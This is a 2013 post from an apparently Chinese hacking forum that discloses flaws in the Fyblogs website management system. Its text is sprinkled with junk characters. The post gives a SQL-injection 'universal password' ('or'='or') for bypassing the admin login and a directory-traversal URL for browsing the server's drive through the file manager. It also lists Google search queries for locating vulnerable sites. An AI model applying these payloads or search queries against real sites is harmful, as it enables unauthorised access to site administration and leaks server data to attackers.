找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2180|回复: 0
打印 上一主题 下一主题

Fyblogs网站管理系统漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-14 20:17:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
后台万能密码 'or'='or'! w& R7 p  p9 q; K

  u6 E5 `3 B2 B6 y% t后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露!8 ?: n: [7 y" ^5 N7 J
admin/uploadfile.asp?currentFolder=/upfiles/../' M3 E8 M9 _3 A* H$ s! w

2 l- H; m6 t! t" A: O漏洞证明:
/ k8 v7 u" {8 Y- o8 {! l) R/ W* q2 {7 A; L' P
谷歌:inurl:type.asp?id=1 新闻中心" ^1 n1 x' |- b9 n( t
或者 :inurl:download_ok.asp?6 I( u4 H/ _0 V2 q$ M* Q4 n; i

$ T0 p7 [, b: R! k
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表